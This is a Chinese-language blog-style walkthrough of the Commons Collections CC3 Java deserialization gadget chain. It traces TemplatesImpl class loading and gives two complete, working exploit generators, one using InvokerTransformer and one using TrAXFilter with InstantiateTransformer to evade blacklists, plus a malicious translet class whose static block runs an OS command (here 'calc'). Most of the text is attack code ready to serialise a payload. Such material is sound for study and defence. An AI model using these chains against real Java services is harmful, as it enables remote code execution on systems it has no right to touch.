前言 与前面不同的是,这条链的末尾是使用动态类加载,在初始化的过程中执行静态代码块中的任意代码
第一种链子分析 如果黑名单过滤了不能使用Runtime.exec,就可以使用这个
这条链子前面都是和CC3差不多
因为最后是利用动态类加载执行任意代码,所以链子的结尾肯定是类加载的方法
ClassLoader.defineClass() 这里是使用ClassLoader.defineClass
1 2 3 4 5 protected  final  Class<?> defineClass(String name, byte [] b, int  off, int  len)    throws  ClassFormatError {     return  defineClass(name, b, off, len, null ); } 
 
因为是protected,所以不能直接调用,找一下有没有被其他方法调用
TransletClassLoader.defineClass() 1 2 3 Class defineClass (final  byte [] b)  {     return  defineClass(null , b, 0 , b.length); } 
 
这里也是default,无法直接调用,再继续在当前包里,哪里调用了defineClass()
TemplatesImpl.defineTransletClasses() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private  void  defineTransletClasses ()     throws  TransformerConfigurationException {     if  (_bytecodes == null ) {         ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR);         throw  new  TransformerConfigurationException (err.toString());     }     TransletClassLoader  loader  =  (TransletClassLoader)         AccessController.doPrivileged(new  PrivilegedAction () {             public  Object run ()  {                 return  new  TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());             }         });     try  {         final  int  classCount  =  _bytecodes.length;         _class = new  Class [classCount];         if  (classCount > 1 ) {             _auxClasses = new  HashMap <>();         }         for  (int  i  =  0 ; i < classCount; i++) {             _class[i] = loader.defineClass(_bytecodes[i]);             final  Class  superClass  =  _class[i].getSuperclass();                          if  (superClass.getName().equals(ABSTRACT_TRANSLET)) {                 _transletIndex = i;             }             else  {                 _auxClasses.put(_class[i].getName(), _class[i]);             }         }         if  (_transletIndex < 0 ) {             ErrorMsg err= new  ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);             throw  new  TransformerConfigurationException (err.toString());         }     }     catch  (ClassFormatError e) {         ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name);         throw  new  TransformerConfigurationException (err.toString());     }     catch  (LinkageError e) {         ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name);         throw  new  TransformerConfigurationException (err.toString());     } } 
 
这里调用了defineClass
  
这个方法是使用类加载器获取一个类并赋值给_class成员
这里也是private,所以再看看哪里调用了这个方法
TemplatesImpl.getTransletIndex() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private  Translet getTransletInstance ()     throws  TransformerConfigurationException {     try  {         if  (_name == null ) return  null ;         if  (_class == null ) defineTransletClasses();                           AbstractTranslet  translet  =  (AbstractTranslet) _class[_transletIndex].newInstance();         translet.postInitialization();         translet.setTemplates(this );         translet.setServicesMechnism(_useServicesMechanism);         translet.setAllowedProtocols(_accessExternalStylesheet);         if  (_auxClasses != null ) {             translet.setAuxiliaryClasses(_auxClasses);         }         return  translet;     } 
 
这里可以看到,是给_class成员赋值完后,会执行newInstance()进行生成一个实例,也就是会进行初始化
所以这个时候就会执行那个生成实例的类的静态代码块,从而执行任意代码 
在看看哪里调用了这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  synchronized  Transformer newTransformer ()     throws  TransformerConfigurationException {     TransformerImpl transformer;     transformer = new  TransformerImpl (getTransletInstance(), _outputProperties,                                       _indentNumber, _tfactory);     if  (_uriResolver != null ) {         transformer.setURIResolver(_uriResolver);     }     if  (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {         transformer.setSecureProcessing(true );     }     return  transformer; } 
 
可以看到,这里执行了getTransletInstance()并且返回了一个TransformerImpl对象
而且这个是public方法
链子后半段连接 先把前面的节点连接起来
很庆幸的是,TemplatesImpl类是可以序列化的,先写个大概
1 2 3 4 public  static  void  main (String[] args)  throws  TransformerConfigurationException {    TemplatesImpl  templates  =  new  TemplatesImpl ();     templates.newTransformer(); } 
 
然后对内部参数的进行赋值,首先看getTransletInstance
1 2 3 4 5 6 7 8 9 10 11 private  Translet getTransletInstance ()     throws  TransformerConfigurationException {     try  {         if  (_name == null ) return  null ;         if  (_class == null ) defineTransletClasses();                           AbstractTranslet  translet  =  (AbstractTranslet) _class[_transletIndex].newInstance();         ........... 
 
这里需要对__name进行赋值,否则会提前返回
然后__class不能赋值,不然执行不了defineTransletClasses()
然后看defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 TransletClassLoader  loader  =  (TransletClassLoader)    AccessController.doPrivileged(new  PrivilegedAction () {         public  Object run ()  {             return  new  TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());         }     }); .... .... .... for  (int  i  =  0 ; i < classCount; i++) {    _class[i] = loader.defineClass(_bytecodes[i]);     final  Class  superClass  =  _class[i].getSuperclass();     .....         .... 
 
他这里会对_bytecodes[i]调用defineClass,所以_bytecodes为我们自己构造的恶意类
然后,因为上面使用的构造函数是没有赋值操作的,所以得利用反射进行赋值
他的上面会执行_tfactory.getExternalExtensionsMap()
所以_tfactory需要有值,否则会报错,导致无法执行到下面去
1 private  transient  TransformerFactoryImpl  _tfactory  =  null ;
 
因为_tfactory是transient成员,所以无法序列化,所以在反序列化之后的值,我们也是不可控的。
但是我们又需要这个成员,所以他应该是在readObject()的时候,被进行赋值的
在readObject()里确实有这样一个赋值过程,在最下面
给成员赋值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private  void   readObject (ObjectInputStream is)     throws  IOException, ClassNotFoundException {     SecurityManager  security  =  System.getSecurityManager();     if  (security != null ){         String  temp  =  SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);         if  (temp == null  || !(temp.length()==0  || temp.equalsIgnoreCase("true" ))) {             ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.DESERIALIZE_TRANSLET_ERR);             throw  new  UnsupportedOperationException (err.toString());         }     }          ObjectInputStream.GetField  gf  =  is.readFields();     _name = (String)gf.get("_name" , null );     _bytecodes = (byte [][])gf.get("_bytecodes" , null );     _class = (Class[])gf.get("_class" , null );     _transletIndex = gf.get("_transletIndex" , -1 );     _outputProperties = (Properties)gf.get("_outputProperties" , null );     _indentNumber = gf.get("_indentNumber" , 0 );     if  (is.readBoolean()) {         _uriResolver = (URIResolver) is.readObject();     }     _tfactory = new  TransformerFactoryImpl (); } 
 
正向执行测试 现在先正向执行一下,看看能否弹计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20     public  static  void  main (String[] args)  throws  TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  templatesclass  =  templates.getClass();         Field  nameField  =  templatesclass.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"name" );                  byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" ));                  byte [][] codes={code};         Field  bytecodesField  =  templatesclass.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );         bytecodesField.set(templates, codes);                  Field  tfactoryField  =  templatesclass.getDeclaredField("_tfactory" );         tfactoryField.setAccessible(true );         tfactoryField.set(templates, new  TransformerFactoryImpl ());         templates.newTransformer();     } } 
 
设置继承类,避免空指针错误 发现他会报空指针错误
  
错误定位到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses
  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ..... ..... if  (superClass.getName().equals(ABSTRACT_TRANSLET)) {    _transletIndex = i; } else  {    _auxClasses.put(_class[i].getName(), _class[i]); 	} } if  (_transletIndex < 0 ) {    ErrorMsg err= new  ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);     throw  new  TransformerConfigurationException (err.toString()); } ..... ..... 
 
这里的_auxClasses报的空指针错误
因为下面如果_transletIndex小于0就会报错,所以我们就需要进入if分支,执行到_transletIndex = i
所以需要符合superClass.getName().equals(ABSTRACT_TRANSLET)条件
就需要superClass的类名等于ABSTRACT_TRANSLET的值
1 2 3 4 5 for  (int  i  =  0 ; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]); final  Class  superClass  =  _class[i].getSuperclass();.... .... 
 
1 2 private  static  String  ABSTRACT_TRANSLET     =  "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; 
 
所以只要让我们自己构造的类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet即可
同时,这个又是一个抽象类,所以需要实现两个抽象方法,最终构造的类为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;import  java.io.IOException;public  class  test  extends  com .sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {    static  {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             throw  new  RuntimeException (e);         }     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {              }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } } 
 
正向执行弹计算器 然后再执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javax.xml.transform.TransformerConfigurationException;import  java.io.IOException;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;public  class  cc3  {    public  static  void  main (String[] args)  throws  TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  templatesclass  =  templates.getClass();         Field  nameField  =  templatesclass.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"name" );                  byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" ));                  byte [][] codes={code};         Field  bytecodesField  =  templatesclass.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );         bytecodesField.set(templates, codes);                  Field  tfactoryField  =  templatesclass.getDeclaredField("_tfactory" );         tfactoryField.setAccessible(true );         tfactoryField.set(templates, new  TransformerFactoryImpl ());         templates.newTransformer();     } } 
 
  
完整的POP-1 因为TemplatesImpl是public类,且TemplatesImpl.Transformer()是公共方法
所以可以直接使用CC6的前半段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  javax.xml.transform.TransformerConfigurationException;import  java.io.*;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.HashMap;import  java.util.Map;public  class  cc3  {    public  static  void  main (String[] args)  throws  Exception {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  templatesclass  =  templates.getClass();         Field  nameField  =  templatesclass.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"name" );                  byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" ));                  byte [][] codes={code};         Field  bytecodesField  =  templatesclass.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );         bytecodesField.set(templates, codes);         ChainedTransformer  chainTransformer  =  new  ChainedTransformer (new  Transformer []{                 new  ConstantTransformer (templates),                 new  InvokerTransformer ("newTransformer" ,null ,null ),         });                  Map<Object,Object> hashMap= new  HashMap <>();                  Map<Object,Object> Lazymap = LazyMap.decorate(hashMap, new  ConstantTransformer (1 ));         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (Lazymap,"123" );         Map<Object, Object> hashMap2 = new  HashMap <>();         hashMap2.put(tiedMapEntry,"321" );                  Lazymap.remove("123" );         Class  LazyMaptmp  =  LazyMap.class;         Field  factoryDeclaredField  =  LazyMaptmp.getDeclaredField("factory" );         factoryDeclaredField.setAccessible(true );                  factoryDeclaredField.set(Lazymap,chainTransformer);                  serialize(hashMap2);         unserialize("3.bin" );     }     public  static  void  serialize (Object obj)  throws  IOException {         ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream ("3.bin" ));         oos.writeObject(obj);     }     public  static  Object unserialize (String filename)  throws  Exception{         ObjectInputStream  oip  =  new  ObjectInputStream (new  FileInputStream (filename));         Object  obj  =  oip.readObject();         return  obj;     } } 
 
  
弹计算器成功
pop图例   
第二种链子分析 如果黑名单过滤了InvokerTransformer就可以使用这链子
首先看还有哪里用了newTransformer()
  
TrAXFilter 在这个类的构造函数里,就调用了newTransformer()
1 2 3 4 5 6 7 8 public  TrAXFilter (Templates templates)   throws     TransformerConfigurationException {     _templates = templates;     _transformer = (TransformerImpl) templates.newTransformer();     _transformerHandler = new  TransformerHandlerImpl (_transformer);     _useServicesMechanism = _transformer.useServicesMechnism(); } 
 
但是这个类没有继承Serializable类,所以对象成员的值只能在构造的时候进行赋值,所以需要一个类的方法可以调用构造函数实例化一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  Object transform (Object input)  {    try  {         if  (input instanceof  Class == false ) {             throw  new  FunctorException (                 "InstantiateTransformer: Input object was not an instanceof Class, it was a "                  + (input == null  ? "null object"  : input.getClass().getName()));         }         Constructor  con  =  ((Class) input).getConstructor(iParamTypes);         return  con.newInstance(iArgs);     } catch  (NoSuchMethodException ex) {         throw  new  FunctorException ("InstantiateTransformer: The constructor must exist and be public " );     } catch  (InstantiationException ex) {         throw  new  FunctorException ("InstantiateTransformer: InstantiationException" , ex);     } catch  (IllegalAccessException ex) {         throw  new  FunctorException ("InstantiateTransformer: Constructor must be public" , ex);     } catch  (InvocationTargetException ex) {         throw  new  FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex);     } } 
 
他会检测传入的参数是否为Class类的实例,如果是的话,就获取他的构造函数,利用构造函数创建一个实例
然后他的构造函数为public,所以可以直接创建一个实例
1 2 3 4 5 public  InstantiateTransformer (Class[] paramTypes, Object[] args)  {    super ();     iParamTypes = paramTypes;     iArgs = args; } 
 
所以说,只要执行InstantiateTransformer.transform(TrAXFilter.class),就会将这个类根据传入的参数进行实例化,然后就会执行newTransformer()执行链子的后半段,来弹计算器
构造链子后半段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  static  void  main (String[] args)  throws  IOException, IllegalAccessException, NoSuchFieldException {    TemplatesImpl  templates  =  new  TemplatesImpl ();     Class  templatesclass  =  templates.getClass();     Field  nameField  =  templatesclass.getDeclaredField("_name" );     nameField.setAccessible(true );     nameField.set(templates,"name" );          byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" ));          byte [][] codes={code};     Field  bytecodesField  =  templatesclass.getDeclaredField("_bytecodes" );     bytecodesField.setAccessible(true );     bytecodesField.set(templates, codes);          Field  tfactoryField  =  templatesclass.getDeclaredField("_tfactory" );     tfactoryField.setAccessible(true );     tfactoryField.set(templates, new  TransformerFactoryImpl ());          InstantiateTransformer  instantiateTransformer  =  new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates});          instantiateTransformer.transform(TrAXFilter.class); } 
 
成功弹计算器
  
然后利用ChainedTransformer.transform执行InstantiateTransformer.transform
1 2 3 4 ChainedTransformer  chainTransformer  =  new  ChainedTransformer (new  Transformer []{    new  ConstantTransformer (TrAXFilter.class),     new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates}) }); 
 
完整的POP-2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InstantiateTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  javax.xml.transform.Templates;import  java.io.*;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.Calendar;import  java.util.HashMap;import  java.util.Map;public  class  cc3_2  {    public  static  void  main (String[] args)  throws  Exception {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  templatesclass  =  templates.getClass();         Field  nameField  =  templatesclass.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"name" );                  byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" ));                  byte [][] codes={code};         Field  bytecodesField  =  templatesclass.getDeclaredField("_bytecodes" );         bytecodesField.setAccessible(true );         bytecodesField.set(templates, codes);                  ChainedTransformer  chainTransformer  =  new  ChainedTransformer (new  Transformer []{                 new  ConstantTransformer (TrAXFilter.class),                 new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates})         });         Map<Object,Object> hashMap= new  HashMap <>();                  Map<Object,Object> Lazymap = LazyMap.decorate(hashMap, new  ConstantTransformer (1 ));         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (Lazymap,"123" );         Map<Object, Object> hashMap2 = new  HashMap <>();         hashMap2.put(tiedMapEntry,"321" );                  Lazymap.remove("123" );         Class  LazyMaptmp  =  LazyMap.class;         Field  factoryDeclaredField  =  LazyMaptmp.getDeclaredField("factory" );         factoryDeclaredField.setAccessible(true );                  factoryDeclaredField.set(Lazymap,chainTransformer);         serialize(hashMap2);         unserialize("4.bin" );     }     public  static  void  serialize (Object obj)  throws  IOException {         ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream ("4.bin" ));         oos.writeObject(obj);     }     public  static  Object unserialize (String filename)  throws  Exception{         ObjectInputStream  oip  =  new  ObjectInputStream (new  FileInputStream (filename));         Object  obj  =  oip.readObject();         return  obj;     } } 
 
成功弹计算器
  
pop图例